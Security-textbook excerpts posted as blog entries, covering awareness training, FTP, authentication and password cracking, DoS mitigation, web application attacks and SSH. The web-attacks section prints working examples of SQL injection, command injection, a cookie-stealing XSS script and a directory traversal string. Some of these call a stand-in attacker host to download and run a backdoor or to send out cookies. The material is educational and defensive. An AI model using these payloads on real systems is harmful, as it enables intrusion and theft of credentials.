August 30th, 2010

Education, Training, and Awareness Programs

Security breaches can occur in any part of a system. For this reason, security is everyone’s job. Every employee who has sensitive information or access to sensitive systems poses a vulnerability to an organization’s security (e. g., a company directory).

Security is not intuitive; most people do not think in those terms (e. g., a help desk analyst is trained to be helpful, not suspicious). Therefore, if everyone is a potential vulnerability and employees do not have the necessary outlook and knowledge, there is a clear need for education, training, and awareness programs.

Education

All employees should be educated in how to handle any threats that they may encounter. They should:

■ Know to challenge people trying to enter the building without a badge

■ Understand data classification labels and data handling procedures

■ Know what to do with attachments to received e-mail messages

■ Know not to bring in software from home

Some employees need specialized security training:

■ Programmers need to learn how to develop secure applications

■ Information security personnel need to know the procedures for selecting and applying safeguards to assets

■ Network infrastructure specialists need to know how to deploy network components securely

Upper management plays a crucial role in information security:

■ Management funds the security projects

■ Management is responsible for due care and due diligence

■ Data owners are officers of the company and must classify data

■ Data custodians implement and maintain the management data classification decisions

■ Management ensures that everyone in the company (including them) does their part to secure the enterprise

■ Management sets an example and adheres to security policies

The only countermeasure to social engineering is education. No locks, firewalls, or surveillance cameras can thwart a social engineering attack. Employees are both the vulnerability and the defense against social engineering, and should know what these attacks look like. Short educational demonstrations depicting an employee and a social engineer can provide a good introduction to the principles of social engineering attacks, which include authority, liking, reciprocation, consistency, social validation, and scarcity.

Using authority does not necessarily mean that a social engineer must imbue himself or herself with authority. He or she can also invoke the authority of another person, such as, "If you don’t let me fix that computer, you’ll have to explain why Mr. Big can’t get his e-mail."

In How to Win Friends and Influence People, By Dale Carnegie, Mr. Carnegie suggests that you:

■ Become genuinely interested in other people

■ Smile to make a good first impression

■ Use a person’s name; it’s his or her most important possession (so say it right)

■ Be a good listener; encourage others to talk about themselves

■ Talk in terms of the other person’s interests

Make the other person feel important—do it sincerely

Using reciprocation, a social engineer brings a problem to the target’s attention and then offers a solution (e. g.,"the badge reader on the door is being finicky today. I found that holding my badge upside down works best.") Once the social engineer has done this small favor, he or she will be comfortable asking for a favor.

Using consistency, an attacker reminds an employee of the policies that they agreed to follow as a condition of employment, and then asks the employee for his or her password to make sure it complies with policies and practices.

Using social validation, an attacker tells an employee that he or she is conducting the information-gathering phase of a new Information Technology (IT) project and says that he or she have already received input from other employees with a similar standing in the company. Subconsciously, the employee wants to maintain that standing by complying with the attacker’s request.

Using scarcity, an attacker can direct an employee to a Web site offering a limited number of free goodies, and encourage the employee to hurry before they’re all gone. Once the employee enters the Web site, he or she is prompted for his or her user ID and password, which is then captured.

Once employees have seen demonstrations of these principles, it’s time for role playing, which is best done in small groups, because most people have a fear of public speaking.

Notes from the Underground…

The Con

Con artists know that with enough planning, they can con anyone. If a con artist can’t defend against a social engineering attack, how can the rest of us?

Social engineering can also be done in stages. Each person the social engineer calls is tricked into revealing some small piece of information. After accumulating these pieces, the social engineer calls an employee and says, "I have all this information. I’m just missing one detail." This gives the social engineer authenticity, and the target usually gives up the detail.

The best defenses are authentication, authorization, administrative controls (e. g., separation of duties), and monitoring.

Training

Training differs from education in that education is about principles; it’s more general. Training is about procedures; it’s more specific. There should be separate training programs for general employees, programmers, security professionals, and management to reflect the different vulnerabilities that each faces. Every employee, starting with the Chief Executive Officer, must attend security training, and must attend an update course each year. This is necessary because people benefit from repetition, it shows the ongoing commitment to security, and because the security situation of the company changes as the company and the world around it change.

Incredibly, there has been little increased focus on security even in the wake of the September 11, 2001, terrorist attack on the United States, and other major security incidents such as with ChoicePoint and the Veterans Administration. In their 2004 survey, Ernst & Young recommend that the only way to change this is with leadership from the Chief Executive Officer of the company. For details, read Www.100share. com/related/Report-CEOs-Stagnant-on-S. htm.

Security Awareness Programs

As educators know, once an employee has been trained, we must continue to reinforce the messages to make them stick, and to increase the employee’s understanding (since his comprehension was typically low the first time). We can use all kinds of tools to keep information security in the front of the employee’s mind:

■ A column in the weekly or monthly company periodical

■ A security newsletter—on paper or in e-mail

■ A sticker on the employee’s keyboard

■ Posters in the common area

■ Contests that reward employees for positive behavior with respect to security

■ Banner messages that appear when a user logs onto their computer, or when they start a specific program such as e-mail

■ A note in their paycheck envelope

■ An announcement on the public address system

■ A special mailing to the employees’ homes

■ A measured goal on the employee’s performance plan, to be evaluated in the employee’s appraisal

■ Employees should sign an agreement to follow the policies when hired, and then annually

■ Employees should be reminded of their commitment to maintain confidentiality during the exit interview, upon termination

Evaluating

After educating and training employees, they should be evaluated. Mere attendance in the classes is not sufficient. We’re after compliance, which comes from knowledge and motivation. Evaluation can tell us if the knowledge is present in the employee. Evaluation can be broken down into levels. This has several advantages. It allows an employee to have some success even before he’s able to master all the things that we want him to know. And success begets success. We can tie inducements to each level of achievement. These inducements could take the form of privileges such as time off, but most people are rewarded best with challenges. The opportunity to do more interesting work and to do something more important to the company is usually the best motivator. It also isn’t as artificial as relating achievement to time off. Employees understand that the company naturally wants them to have a greater skill level before being allowed to perform more challenging and more important work. At the other end of the spectrum, employees who don’t attain even the lowest level of proficiency in security awareness don’t get to keep their jobs.

August 30th, 2010

FTP Protocol Overview

Unlike most other protocols that only use one connection per session, an FTP session between two hosts involves multiple Transmission Control Protocol (TCP) connections. The FTP client first establishes a Control connection With the FTP server, which is typically listening on port 21/TCP This control connection is used by the client to send commands to the server, and is also used by the server to send replies back to the client. Separate connections called Data connections Are used for the actual file transfers and for sending directory listings from the server to the client.

An FTP client communicates with a server by sending commands over the control connection. FTP commands are made up of three or four uppercase American Standard Code for Information Interchange (ASCII) characters, and some also include arguments such as file and directory names. Table 8.1 lists some of the most commonly used FTP commands.

Table 8.1 Common FTP Commands

FTP Command

Description

USER username

Log on to the server as username

PASS password

Log on to the server with password

LIST_filelist

List files and directories

PORT n1,n2,n3,n4,n5,n6 Specify the address and port that the server should

Connect to for data connections; the first four num-

Bers are the octets of the Internet Protocol (IP)

Address. (n5 * 256 + n6) specifies the port

RETR filename

Retrieve filename from the server

STOR filename

Store filename on the server

QUIT

Log off of the server

When the server receives a command from a client, it typically sends a reply in the form

Of a three-digit reply code, which is sometimes followed by an optional message. Each digit

Of the server’s return code has a different meaning, which is described in Table 8.2. In some

Situations, a server

May reply to a client’s command with multiple return codes, or with a

Command of its own.

Table 8.2 FTP Server Return Codes

Return Code

Meaning

1yz

Positive Preliminary Reply The requested action is being

Started, but another message will be sent before it begins.

2yz

Positive Completion Reply The requested action has com-

Pleted and another command can be sent.

3yz

Positive Intermediate Reply The command was accepted, but

Another command needs to be sent.

4yz

Transient Negative Completion reply The action was not suc-

Cessful due to a temporary error. The action can be requested

Again later.

5yz

Permanent Negative Completion reply The action was not

Successful and should not be requested again.

X0z

Syntax Error.

Xlz

Message is a reply to an information request.

X2z

Message is a reply relating to connection information.

X3z

Message is a reply relating to accounting or authorization.

X4z

Unspecified.

X5z

Message is a filesystem status reply.

The client can also specify various options for the FTP session, including file type, format control, structure, and transmission mode. These options are meant to provide flexibility in order to support a wide variety of systems.

When a client requests a directory listing or a file transfer over the control connection, a data connection can be established in a number of ways. Using the traditional method known as "active FTP," the server initiates the connection from port 20 and connects to an ephemeral port on the FTP client. The client can specify the IP address and port number that the server should connect to using the PORT command. If the client does not specify the IP address and port number, the server will connect to the IP address and port number from which the client initiated the control connection.

Active FTP makes it difficult to apply strict network filtering, because it has to allow incoming connections to high ports of hosts using FTP clients. There is an alternative method known as "passive FTP," that allows both control and data connections to originate from the client. When the control connection is established, the client sends a Passive (PASV) command to the server, and the server replies with a PORT command that specifies ephemeral ports on the server that the client can connect to.

August 30th, 2010

Authentication

Password sniffing is normally a passive attack, and as such, it is undetectable through any form of network monitoring. The following examines the categories of authentication and several examples of authentication protocols.

There are two main categories of authentication: Synchronous And Asynchronous. Synchronous protocols provide their credentials at the start of the authentication process, which are then accepted or denied. Asynchronous authentication methods involve a challenge-response model, where the server provides a challenge that the authenticating client must perform using a shared secret. If the client produces the correct response, it is authenticated.

Asynchronous protocols tend to offer additional security. This does not mean that they are the be-all and end-all of authentication protocols; several other factors (e. g., the security of the network protocol used to transmit the authentication credentials) help secure protocols. The following sections examine two authentication protocols commonly used for dial-up authentication, and discuss the evolution of the Windows authentication protocols.

Authenticating with

Password Authentication Protocol

The Password Authentication Protocol (PAP) is a basic synchronous host authentication mechanism. Upon connecting to a server, the host sends a packet containing its bundled username and password information. Both the username and the password are sent in clear-text. This authentication mechanism provides minimal defense against session sniffing.

Authenticating with the

Challenge Handshake Authentication Protocol

Due to the PAP security issues, a new authentication protocol called the Challenge Handshake Authentication Protocol (CHAP) was developed. CHAP relies on a shared secret between the host and the authenticating server, (i. e., a password). This password never actually crosses the wire.

CHAP improved on the insecurities of PAP by having the authenticating server send challenges to the host (asynchronous authentication). The host then calculates a hash using the shared secret and the challenge, and transmits the hash back to the authenticating server. Because the authenticating server also knows the secret, it can verify the computed hash and either accept the response or terminate the host’s session.

CHAP is invulnerable to playback due to the changing nature of the challenge. Additionally, challenging at random intervals limits the window of exposure for an attack. Despite this, CHAP has its weaknesses.

CHAP requires the authenticating server to perform a computation on the cleartext password. As a result, any hacker that compromises a CHAP authentication server has complete access to all user passwords.

Authenticating with Local Area Network Manager and NT LAN Manager

NT LAN Manager (NTLM) hashes were introduced in Windows version 3.1, and underwent minor protocol changes when it became the Local Area Network MANager (LanMan) hash in Windows version 3.11. Both of these asynchronous authentication mechanisms relied on a password of 14 characters or less. Additionally, both mechanisms considered all password characters to be uppercase.

Passwords that contain fewer than 14 characters were padded out to 14 characters, thereby further weakening the integrity of the algorithm. They were then broken into two seven-character chunks and hashed. Thus, an attacker would need to crack a hash with half as much computational complexity.

Much like CHAP, the server is not authenticated under the LanMan hash protocol. Additionally, LanMan hashes are vulnerable to Server Message Block (SMB) replay if the SMB blocks are not signed.

Note

Modern Windows operating systems still support these extremely weak protocols for backwards compatibility!

Authenticating with NTLMv2

NTLMv2 operates via a similar mechanism to LanMan. A stronger hash function (Message Digest 5 [MD5]) differentiates between upper – and lower-case letters, and a password of up to 128 characters contributes to a significant increase in security.

NTLMv2 is an asynchronous authentication protocol. That said, the challenge-response transaction is protected by SMB session security. This significantly increases the difficulty for an attacker to procure a challenge-response in the clear. Additionally, the increases in key and algorithm strength contribute to a protocol that is significantly more difficult to break. NTLMv2 is the default protocol for Windows 2000, XP, and 2003 hosts that lie within a workgroup.

Authenticating with Kerberos

Kerberos is the default authentication mechanism used by Windows 2000, XP, and 2003 hosts when part of an active directory. Kerberos is a particularly strong protocol, relying on a central server (normally the Active Directory Controller) to grant access privileges to systems.

The Kerberos protocol is complex, and a full treatment here is impossible. An introduction is available in the form of a play at Http://web. mit. edu/kerberos/www/dialogue. html,

Which discusses many of the security issues that Kerberos mitigates through the use of shared secrets and signing.

The main weakness of the Kerberos protocol is that all authentication tokens passed by it have a lifespan. As such, any network using the Kerberos protocol for authentication must ensure that the clocks on all systems are synchronized using a protocol such as the Network Time Protocol (NTP).You will find more details on weaknesses in Kerberos in the next chapter.

Tools Used for Sniffing the Session Startup

The following tools can be employed to sniff the session startup. Many of these tools also incorporate the ability to crack password hashes, because encrypted passwords are significantly less useful than their decrypted counterparts. There are three main categories of attacks against password hashes:

■ Brute Force Attack The easiest to implement, brute force attacks iterate through every possible input value and hashes it, comparing the output to the hash the attacker wants to crack. Brute force attacks take the longest amount of time to complete; however, they are guaranteed to crack the hash if run long enough. Brute force attacks work faster by searching only a subset of input values (e. g., letters and numbers) but no special characters (e. g.,!@#%A&*Q).This optimization is not guaranteed to crack the hash.

■ Dictionary Attack Most people choose passwords (e. g., common names, words, or phrases) that are easy to remember. Dictionary attacks iterate through these words and common substitutions of these words. These attacks are not guaranteed to produce results.

 Rainbow Table Attack The limiting factor on guaranteed results with brute force attacks is time; it takes too long to compute all of the hashes. Rainbow table attacks compute every hash ahead of time, thus allowing the attacker to check his or her database of hashes just for the one he or she is trying to crack. The rainbow table generation process can be split over several systems, and can be generated to match a specific percentage of all hashes. (Rainbow tables matching 50 percent of all hashes are much smaller than tables matching 99 percent of hashes.) Most tools that allow the use of rainbow table attacks include a utility to generate them.

Why scrounge up a bunch of processors to generate rainbow tables for LanMan hashes when you can download them from the Web? The Shmoo group provides a major community service by offering these tables of varying character sets for download at Http://rainbowtables. shmoo. com/.

Aside from the aforementioned attacks, a hybrid approach can be taken (e. g., you can run a dictionary attack and iterate through three characters before and after each word). Many tools can be easily modified to take custom approaches to password cracking.

Dsniff

Dsniff (written by Dug Song) is a suite of tools designed to catch cleartext passwords in a variety of protocols, and a set of utilities to enable the sniffing of traffic over switched Ethernet. The full suite of utilities is available for BSD, Linux, and Solaris operating systems. A Windows port of a subset of components is available at Www. datanerds. net/~mike/dsniff. html.

The dsniff suite of tools can be considered "Ettercap lite." dsniff lacks the graphical user interface (GUI) wrapper of Ettercap, but provides much of the same functionality.

John the Ripper

John the Ripper, available at Www. openwall. com/john/, is a powerful and easy-to-use password cracker that is available for most operating systems. John the Ripper will crack AFS/Kerberos, Unix crypt(), and Windows LM (versions 1 and 2) hashes.

If you are not using a Windows operating system, you need to build John the Ripper from source. After downloading and decompressing John the Ripper, change to the /src/ Directory and run Make. make Displays a list of system environments that John the Ripper can be built for. Identify yours and execute:

$ make clean [system]

If your system is not listed, it can be substituted with generic. Once the John the Ripper binary is built, you can begin cracking password hashes. The EXAMPLES file in the /doc/ Directory provides a significant number of samples to work through to familiarize yourself with the functionality provided by John the Ripper.

Cain and Abel

Cain and Abel is a one-stop password sniffing and cracking shop for Windows users. Complete with a point-and-click interface to all major functionality, Cain and Abel makes short work of easy passwords (see Figure 6.10).

In Figure 6.10, you can see that Cain and Abel offers a variety of methods to crack passwords. The interface is on the Cracker tab, but the Sniffer tab is particularly useful for populating the list of password hashes.

Figure 6.10 Cain and Abel Crack Some LM Hashes

Cain and Abel includes an ARP spoofer that is enabled by clicking on the radiation symbol on the toolbar. Cain and Abel then begin impersonating the gateway and sniffing the incoming traffic for password hashes. Additionally, Cain and Abel includes the ability to decode a wide variety of esoteric hashes, such as Rivest, Shamir, & Adleman (RSA) SecureID tokens.

August 30th, 2010

Mitigating DoS Attacks

At the moment, stopping large-scale DoS attacks is an area that is brimming with research and new security products. As it stands, not many advances have been made beyond designing a scalable architecture that you’re willing to spend a lot of money on in the face of a DoS, and contacting your upstream provider to filter certain netblocks on router access lists.

As a responsible administrator, you can do your part to mitigate the effects of DoS attacks by monitoring your egress traffic for unexpected spikes in bandwidth usage. Additionally, you can deploy IDS signatures designed specifically to catch the traffic sent by controlling servers to botnets. Finally, by employing anti-spoofing rules in your access control lists (ACLs), you can ensure that anonymity does not exist on your network and that you can successfully track infected hosts.

Continued

Aren’t rubbing shoulders with the hacker underground nor invoking their ire. However, provocation can come about in unexpected ways.

For example, in one situation clients permitted the use of Internet Relay Chat (IRC), which is similar to the group chat rooms that can be accessed via Instant Messenger (IM) programs. On more than one occasion, users were "mouthing off" and receiving threats of attacks. In a few cases, attackers attempted to make good on those threats.

August 30th, 2010

Attacking Web Applications

Web applications are one of the most vulnerable points on an organization’s network. Most Web sites contain a combination of commercial applications and open-source scripts, making it very difficult to keep everything up-to-date with security patches. Even more problematic are custom Web applications, which are rarely designed with security in mind or audited for vulnerabilities. As a result of these insecurities, Web applications are highly targeted by attackers.

Web application vulnerabilities can be classified into a number of categories, each explored below. The majority of these vulnerabilities, however, are caused by a lack of proper input validation by the application before processing user-supplied data. This can allow attackers to disclose information about the site, steal information from backend databases, or execute arbitrary code on the Web server. Below are some of the more common problems that can occur from insufficient input validation and sanitation.

SQL Injection

Many Web applications rely on backend databases for information storage and retrieval. Sometimes a script will perform a database query using input supplied from a Web page, without first verifying that the input does not contain any escape characters. Consider the following example, which can be used to log a user on to a site:

Query = "SELECT * FROM users WHERE username = ‘{$_POST['user']}’ AND password = ‘{$_POST['pass']}’ ";

The query string is passed to a database holding usernames and passwords; if a result is returned, it implies that the username and password are both correct. However, consider if someone used username "bob" and password "OR 1 = 1." The query string would turn into the following:

"SELECT * FROM users WHERE username = ‘bob’ AND password = ” OR 1=1 ";

In this case, OR 1 = 1 means the statement will always return something; therefore, the script might be fooled into thinking that the user is authenticated. By injecting specially crafted queries, it is also possible to disclose potentially sensitive information from the database.

Warning

FWhile it is tempting to start testing Web sites for security issues such as Structured Query Language (SQL) injections, it is important to realize the legal ramifications of doing so. Actions as small as typing some characters into a Web form have landed security professionals in jail. If you are going to conduct security tests against a Web site, make sure you have authorization before starting.

In some databases, a system can be compromised using SQL injection attacks. Default installations of Microsoft SQL Server have a high number of stored procedures enabled that can be used for malicious purposes. These stored procedures can be executed in an injected SQL string. One of the worst stored procedures is Master. dbo. xp_cmdshell, Which is used to execute an arbitrary command with the permissions of the SQL server. Depending on the privileges that the vulnerable script has, this procedure may not be available to an attacker conducting a SQL injection attack. However, there are a variety of other procedures that attackers can use to attack vulnerable hosts.

Code Injection

Similar to SQL injection attacks, sometimes user-supplied strings are not properly checked for escape characters before being passed to commands as arguments. Consider the following example, where a PHP script takes a string supplied from a Web page form and passes it to the nslookup utility.

<form action="nslookup. php" method="POST"> Hostname: <input name="hostname" type="text"> <input type="submit" value="Lookup"> </form> <?php

System("nslookup {$_POST['hostname']}");

?>

If ;ls / – la Are supplied in the hostname form, the script will execute the command Nslookup;ls / – la, Resulting in a listing of the root directory being printed out (shown in Figure 8.5).This could be used to execute any other command or series of commands on the target Web server. The Wget And Perl Commands could be used to download and run a backdoor on the Web server by supplying ;wget Http://attackersite/backdoor. pl;perl backdoor. pl To the script. Other characters that can cause similar vulnerabilities are , And |.

Figure 8.5 Exploitation of nslookup. php Code Injection Vulnerability

While the previous example is oversimplified, there are many examples of code injection vulnerabilities in real-world Web applications. The following line of code in AWStats. pl Created a code execution vulnerability that was widely exploited on the Internet (CVE-2005-0116).

If (open(CONFIG,"$searchdir$PROG.$SiteConfig. conf"))

In this case, a user can indirectly specify a value for the $searchdir Variable by assigning that value to $configdir. If the user specified a value that began with |, everything after would be interpreted as commands and executed. An example of an attack string is Http://victim/awstats. pl? configdir=|/bin/ls|.

Another real-world example of a code injection vulnerability is the Horde Help Viewer vulnerability that was disclosed in March 2006 (CVE-2006-1491). In this vulnerability, user-supplied data was not properly validated and sanitized before being passed to the PHP Eval() Function. This function evaluates the string passed to it as PHP code, which allowed attackers to supply arbitrary PHP code to be executed on the Web server.

Sometimes it is possible for an attacker to specify an entire file to execute. Scripting languages usually have functions similar to PHP’s Require() And Include(), Which can be used to include script code from other files. If variables passed to these functions are not properly set and validated, it may be possible to supply a script on a remote server that will be executed by the script on the vulnerable site.

Cross-Site Scripting

Cross-site scripting (XSS) vulnerabilities allow attackers to inject code or Hypertext Markup Language (HTML) into a Web page that will be executed when a different user visits that page. These attacks target visitors to a Web site, not the site itself, and occur when a Web page does not properly sanitize user input before using it in output.

The following is an example of an XSS attack on the search page of a Web site. When the search term Hack the stack Is entered and you click Submit, The following line of text appears at the top of the results page:

Search results for "hack the stack"™

Now, enter a search term such as <SCRIPT>alert("XSS")</SCRIPT> And click Submit Again. This time a message pops up that contains "XSS." When the page attempted to print out the search term at the top of the page, the term was interpreted as code and the script was executed. What if you sent a link to the search page, such as the following:

Http://vulnerablesite/search. asp? search=<SCRIPT>alert("XSS")</SCRIPT>

You would be able to specify JavaScript to execute in the victim’s browser as though it had come from the vulnerable site.

XSS vulnerabilities usually fall into one of three categories. The most common category, called Reflected vulnerabilities, Occurs when data supplied by a Web client is used on a server-side Web page before it is properly sanitized. If an attacker convinces a victim to click on a malicious link to the vulnerable site, he or she can supply code in the Universal Resource Locator (URL) that will be executed in the victim’s browser. The victim may trust the site that contains the vulnerability, which allows the attacker to hijack that trust. The previous example showed a reflected vulnerability, where it was possible to inject code into the URL. To make the URL look less suspicious, you can also use encodings such as Unicode to hide the injected script.

The second type of XSS attack, called Stored vulnerabilities, Occurs when the malicious script is stored on the vulnerable server (e. g., you may be able to post a message to a forum that will be interpreted as HTML when other users read the post). This type of attack allows the attacker to inject a malicious script onto the page that will be executed with the trust level of the Web site.

XSS vulnerabilities do not always exist on server-side pages. The third category of XSS attacks, called Local vulnerabilities, Occurs when the XSS vulnerability exists in a local client-side script. While much rarer than the two previously discussed categories, local vulnerabilities can often be more devastating, because local scripts usually run with the same privileges as the Web browser.

While they may not seem as dangerous as some of the other attacks discussed so far, attackers can do serious damage using XSS vulnerabilities. Since a script injected by an XSS attack is executed as though it came from the vulnerable site, it has access to cookies, session IDs, and other sensitive information for that site. An attacker can therefore provide a malicious script that steals this sensitive information. The following malicious script can be used to steal a victim’s cookie from a vulnerable site:

<script>document. location=’Http://attackersite/evilpage? victimcookie=’+document. c ookie</script>

When the script is executed on the victim’s machine, it will pass the victim’s cookie to "evilpage" on the attacker’s site.

An attacker can also supply a script that exploits a vulnerability in the victim’s Web browser, which could allow the attacker to execute arbitrary code on a victim’s machine. A number of code execution vulnerabilities have recently been discovered in popular Web browsers (e. g., Microsoft Internet Explorer, Firefox, and Opera), that can be exploited by malicious JavaScript. An attacker could inject JavaScript code similar to the script below using an XSS vulnerability in order to exploit one of these vulnerabilities.

<SCRIPT SRC=’Http://attackersite/browser_exploit. js’></SCRIPT>

Directory Traversal Attacks

A directory traversal occurs when you are able to traverse out of the current directory into parent directories, usually by supplying a series of (dot dot slashes). Sometimes it is possible to back out of the root directory of the Web server and traverse into other directories on the filesystem. Strings such as ../../../../../etc/passwd Can often be used to access sensitive files on vulnerable sites. Typically, directory traversal attacks allow the attacker to access or overwrite files that are not intended to be accessible.

Directory traversal vulnerabilities arise when Web applications or underlying server software fail to scan user input for potentially dangerous strings before using the input to access the filesystem. Sometimes input validation is performed, but the validation fails to take character encodings into account. In 2000, a directory traversal vulnerability was discovered in Microsoft’s Internet Information Server (IIS) Web server that could be exploited by encoding parts of the traversal string with Extended Unicode. A number of high-profile worms, including sadmind and Nimda, propagated using this vulnerability.

A variety of software has been affected by directory traversal vulnerabilities in the past. In addition to Web applications and Web servers, a number of FTP servers and archiving utilities have also suffered from directory traversal vulnerabilities.

Information Disclosure

In addition to disclosing file contents with attacks such as directory traversals, it is sometimes possible to disclose other potentially sensitive information about a system. One common example of this is an Error page That discloses the path of the Web server’s root directory. While path disclosure is not a serious security risk by itself, it can aid attackers who are performing reconnaissance on the site. Any bit of information can be helpful to an attacker.

Sometimes Web applications disclose other information about the system, such as software versions and configurations. Determining the operating system and other software the host is running can help an attacker identify vulnerabilities that can be used to compromise the site.

An example of a script that leaks a significant amount of system information is Phpinfo. php, Which is part of a default PHP install. This script provides the operating system

Version, the PHP version, versions of other software on the host, the path of the PHP configuration file, and so on. Try searching Google for inurl:phpinfo. php to see exactly how much information is leaked. While the script is meant for checking configuration settings, it is not a good idea to leave it accessible on a production site.

Authentication and Access Control Vulnerabilities

We have already seen how some vulnerabilities such as XSS allow attackers to steal cookies, session IDs, and other data used by sites for authentication and access control.

Sometimes, a vulnerability exists in the way that authentication and access control is implemented, allowing these restrictions to be bypassed. Security firm iDefense disclosed a number of such vulnerabilities in the Linksys WRT54G router’s Web interface in 2005. Multiple scripts on the router’s Web interface saved user-supplied data to memory before verifying that the user had successfully authenticated. This allowed an unauthenticated user to update configuration information and change the router’s firmware in non-volatile memory. The router only checked that the user had authenticated before rebooting the router, not before saving the information. As a result, information supplied by an unauthenti-cated user would take effect the next time the router was rebooted. In another vulnerable script on the router, the authentication check was improperly performed, allowing an unau-thenticated user to change various configuration settings for the router, including the administrative password and firewall rules.

Another common type of authentication vulnerability is the use of a default password. If software does not force you to change the default password upon installation, many users will leave the default password in place. This can provide attackers with access to administrative pages or other restricted areas of a Web site using the known default password for the given software.

CGI Vulnerabilities

CGI applications written in languages such as C and C++ are frequently deployed on Web sites and exposed to user input. Improper input validation in these applications can lead to many of the vulnerabilities discussed earlier in this section. In addition, vulnerabilities such as buffer overflows and format string errors can be present, allowing attackers to execute arbitrary code with the privileges of the Web server.

August 30th, 2010

Layer 6: The Presentation Layer

Solutions in this chapter:

 The Structure of NetBIOS and SMB

 Attacking the Presentation Layer

 Defending the Presentation Layer

 Layer 6 Security Project

0 Summary

0 Solutions Fast Track

0 Frequently Asked Questions

August 30th, 2010

Data Classification and Handling

Both paper and electronic documents should be labeled with a Data classification That identifies the sensitivity of the contents within the document. A company also needs a policy that explains how these documents should be handled based on that classification. Typical data classifications are:

■ Public Anyone inside or outside the company can obtain this information.

■ Internal This information is not made available outside the company.

 Limited Distribution This information is only given to the individuals named on the distribution list. Each copy is uniquely identified; additional copies are never made.

 Personal This information pertains to an employee’s individual status (e. g., employment terms, appraisals, benefit claim, and so forth).

The U. S. military uses the following classifications:

■ Unclassified Information that can be copied and distributed without limitation.

■ Sensitive But Unclassified (SBU) "Any information of which the loss, misuse, or unauthorized access to, or modification of might adversely affect U. S. National interests, the conduct of Department of Defense (DoD) programs, or the privacy of DoD personnel."

■ Confidential "Any information or material the unauthorized disclosure of which reasonably could be expected to cause damage to the national security. Examples of damage include the compromise of information that indicates strength of ground, air, and naval forces in the United States and overseas areas; disclosure of technical information used for training, maintenance, and inspection of classified munitions of war; revelation of performance characteristics, test data, design, and production data on munitions of war."

■ Secret "Any information or material the unauthorized disclosure of which reasonably could be expected to cause serious damage to the national security. Examples of serious damage include disruption of foreign relations significantly affecting the national security; significant impairment of a program or policy directly related to the national security; revelation of significant military plans or intelligence operations; compromise of significant military plans or intelligence operations; and compromise of significant scientific or technological developments relating to national security."

■ Top Secret "Any information or material the unauthorized disclosure of which reasonably could be expected to cause exceptionally grave damage to the national security. Examples of exceptionally grave damage include armed hostilities against the United States or its allies; disruption of foreign relations vitally affecting the national security; the compromise of vital national defense plans or complex cryp-tologic and communications intelligence systems; the revelation of sensitive intelligence operations; and the disclosure of scientific or technological developments vital to national security."

August 30th, 2010

FTP Security Issues

One of the biggest security issues with FTP is that all traffic is transmitted in clear text. As the example above illustrated, this means that anyone listening on the wire is able to intercept usernames and passwords, as well as the contents of any files that are sent over data connections. FTP servers frequently perform authentication using accounts from the operating system, which means that any usernames and passwords intercepted from FTP connections can also be used to gain access to the system using a Telnet or Secure Shell (SSH) server.

In addition to intercepting usernames and passwords, it may be possible to use weak configurations to gain access to FTP servers. Brute force and dictionary attacks are commonly used to break into FTP servers by guessing a large number of passwords for a given account. These attacks can vary in how exhaustive they are, from trying to find words in the dictionary to trying every possible character combination until the correct password is found. With automated tools, weak passwords can be deduced in minutes, sometimes seconds. Some tools that are commonly used to brute force FTP accounts are THC-Hydra and Brutus.

Some FTP servers also have anonymous access enabled, which means that you do not need a password to access the server. Anonymous access can be very dangerous without proper access control. If file permissions are not correctly set, an anonymous user may be able to read, overwrite, or delete files containing sensitive information, which can lead to the loss of confidentiality, integrity, and availability of data. If file permissions are not correctly set on configuration and system files, anonymous access may be used to further compromise the machine. An attacker could retrieve or overwrite files that contain usernames, passwords, or trusted hosts in order to gain further access to the machine running the FTP server. Many attackers also use anonymous access to store pirated software, movies, music, and other illegal material. If anonymous access is being used on a server, make sure that the proper restrictions are enforced for anonymous users.

Since FTP servers essentially provide remote access to a filesystem, the server software is usually responsible for performing appropriate access control. If a guest is logged onto the FTP server, it is the server’s responsibility to make sure that the guest can only access authorized files and directories. Bugs in the software and weak configurations may allow an FTP client to access unauthorized files and directories, or may provide a remote computer with complete control of the system running the server. Some older FTP servers (e. g., WU-FTP) had a high number of security vulnerabilities that could provide an attacker with root or administrative access to the hosts running the server.

Another security issue with FTP is the "FTP bounce" attack. Recall that when using active FTP, a client uses the PORT command to specify the IP address and port number that the server should connect to for a data connection. An attacker with access to an FTP server can take advantage of the PORT command to essentially bounce through the server by specifying someone else’s IP address. This can be used to conduct a port scan against a host using the host’s IP address in a series of PORT commands. Nmap has integrated support for FTP bounce scans with the -b Command-line option. FTP bounce scans have many uses beyond port scans. The data that is sent over the connection can be controlled by requesting specific files after the PORT command. This attack is well-known; therefore, most FTP servers have restrictions to prevent it. However, there are still some servers that can be used for FTP bounce attacks.

August 30th, 2010

SSH

The SSH protocol provides secure command-shell, file transfer, and tunneling capabilities. It addresses the security concerns of older protocols that provided the same services, such as rlogin, Remote Shell (RSH), Telnet, and FTP. It also addresses some of the weaknesses in protocols such as DNS. In addition to encryption, SSH also provides authentication and data integrity. SSH servers are usually run over port 22/TCP.

SSH Protocol Architecture

The SSH protocol’s architecture consists of three major components. Below is a description of each component, as outlined in RFC 4251:

■ Transport Layer Protocol This protocol provides server authentication, confidentiality, and integrity, and may also provide compression. The lowest layer in SSH’s mini protocol stack.

 User Authentication Protocol Above the transport layer is the user authentication protocol, which authenticates the client-side user to the server.

■ Connection Protocol This protocol sits on top of the user authentication protocol and allows multiple logical channels to share the encrypted tunnel. The connection protocol provides methods for interactive shells and for tunneling for X11 and TCP/IP connections.

When a client makes a new TCP connection to an SSH server, the first step that takes place is protocol version exchange. The goal of this step is to determine which version of the SSH protocol will be used for the connection. Version 1 of the protocol contains known weaknesses and should not be used.

Next comes key exchange, which specifies what methods to use for encryption, server authentication, and message authentication. Both sides negotiate algorithms, exchange keys, and determine when new keys will be re-exchanged. Note that each direction is allowed to use different algorithms to complete the same task. For example, one encryption algorithm can be used to encrypt data from the server to the client, and another can be used to encrypt data from the client to the server. The message authentication algorithms that are negotiated are used to provide data integrity through the use of Message Authentication Codes (MACs).

A server can also authenticate itself during key exchange, by providing a signature or other proof of the server’s authenticity. Server authentication is used to eliminate the risk of MITM attacks. If an attacker attempts to perform a spoofing or MITM attack between an SSH client and a server using version 2 of the protocol, the server’s key will appear different than the last time the client connected to that server.

S

While SSH provides much greater security than similar protocols such as Telnet, some versions of the protocol are still susceptible to attack. SSH version 1 contains design flaws that make it susceptible to MITM attacks. In fact, the Cain tool that we used to attack DNS can also be used to conduct SSH version 1 MITM attacks.

